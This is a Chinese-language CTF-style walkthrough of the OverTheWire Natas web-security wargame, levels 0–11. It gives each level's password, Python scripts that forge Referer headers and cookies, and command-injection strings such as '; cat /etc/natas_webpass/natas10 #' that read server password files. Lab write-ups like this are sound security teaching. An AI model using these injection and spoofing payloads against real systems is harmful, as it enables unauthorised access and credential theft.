wargame--Natas

#Natas

Natas是wargame 系列挑战中的第二个系列,是关于 Web 安全的一个专题,通过这个专题基本可以了解到 web 安全中主要的问题,非常适合初学者入门 Web 安全。所有的挑战都可以通过浏览器网页登入,需要在当前关卡中获得进入下一关的密码来继续挑战,和 Bandit 的形式类似。

Level 0→1

在网页处右键“查看源代码”将会展示源代码。底部的注释中有到 “natas1” 的密码。

1
2
>gtVrDuiDfck831PqWsLEZy5gyDz1clto
>

Level 1→2

和上一关一样,右键查看源码即可得到下一关的密码。

1
2
>ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
>

Level 2→3

查看源码将会显示一个有 png 文件的文件夹。前往文件夹我们就能发现另一个文件 users.txt 。在 users.txt 里包含下一关的密码。

1
2
>sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
>

Level 3→4

robots.txt 是一个告诉 google 不要索引哪些文件夹的文件。

robots.txt 中,它会不允许索引 /s3cr3t/ 。进入该目录,发现 user.txt 里包含下一关的密码。

1
2
>Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
>

Level 4→5

错误信息表明任何访问该页面的用户必须来自’natas5’。所以我们可以修改 headers,伪造一份来自 ‘natas5’ 的请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re

username = 'natas4'
password = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'

headers = { "Referer" : "http://natas5.natas.labs.overthewire.org/"}

url = 'http://%s.natas.labs.overthewire.org/' % username

response = requests.get(url, auth=(username, password), headers=headers)
content = response.text

print content
1
2
>iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
>

Level 5→6

通过 chrome 自带的调试工具或者直接用 python 脚本可以查看网站返回的包。发现其中的 cookie 有一个变量 ‘loggedin’ 值为0.我们将其设为1后再次请求就可以得到下一关的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re

username = 'natas5'
password = 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq'

cookies = {"loggedin" : "1" }
url = 'http://%s.natas.labs.overthewire.org/' % username

session = requests.Session()

response = session.get(url, auth=(username, password), cookies=cookies)
content

print content
print re.findall('natas6 is (.*)</div>', content)[0]
1
2
>aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
>

Level 6→7

查看页面的源码,发现需要提交正确的秘钥才能获得下一关的密码,而一个文件被包含在 /includes/secret.inc 中。打开这个文件找到正确的秘钥并提交表单即可获得下一关的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import requests
import re

username = 'natas6'
password = 'aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1'

url = 'http://%s.natas.labs.overthewire.org' % username

session = requests.Session()

response = session.post(url, auth=(username, password), data={"secret" : "FOEIUWGHFEEUHOFUOIU", "submit" : "submit"})
content = response.text


print content
print re.findall('natas7 is (.*)', content)[0]

​ 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9》

Level 7→8

查看页面源码时,发现一条线索说密码在 /etc/natas_webpass/natas8 中。改变浏览器的路径为 /etc/natas_webpass/natas8 即可得到下一关的密码。

1
2
>DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
>

Level 8→9

在源码页面,我们可以看到 php 函数代码给了我们一些需要输入的秘钥的信息。从 \$_POST(‘secret’)中我们可以看到需要传入的与 \$encodedSecret 比较的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

之后我们就可以逆向调用在 encodeSecret 中使用的函数,通过创建和运行下列命令,我们就获得了纯文本的秘钥。

1
base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c3156 69563362")))

解码得到的结果为 oubWYf2kBq。使用该秘钥提交表单即可得到下一关的密码。

1
2
>W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
>

Level 9→10

查看网页源码,我们可以发现将要查询的是 \$key。如果 \$key 非空,将在 dictionary.txt 中查询并返回任何包含 \$key 的内容。

1
2
3
4
5
6
7
8
9
10
11
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>

在注入中,\$key 没有被过滤并能在命令行中使用。因此我们可以注入额外的命令。我们已知的是 ‘natas10’ 的密码保存在 /etc/natas_webpass/natas10 中。在命令行中,我们可以用cat 来查看文件内容。另一件需要知道的是在一行中执行多条命令(; 或 &&)。最后不要忘了注释掉后面的命令。

1
; cat /etc/natas_webpass/natas10 #

执行后,就可以得到下一关的密码。

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 10→11

和上一关类似,不过我们不能使用’;’,’|’和’&’。但仍能利用类似的注入攻击。我们可以使用 grep 匹配密码文件中的任意字符来获得下一关的密码。为了能匹配任意字符,我们使用’.’通配符并用 ‘#’注释掉后面的内容。

1
. /etc/natas_webpass/natas11 #

得到下一关的密码。

1
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

###

###

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×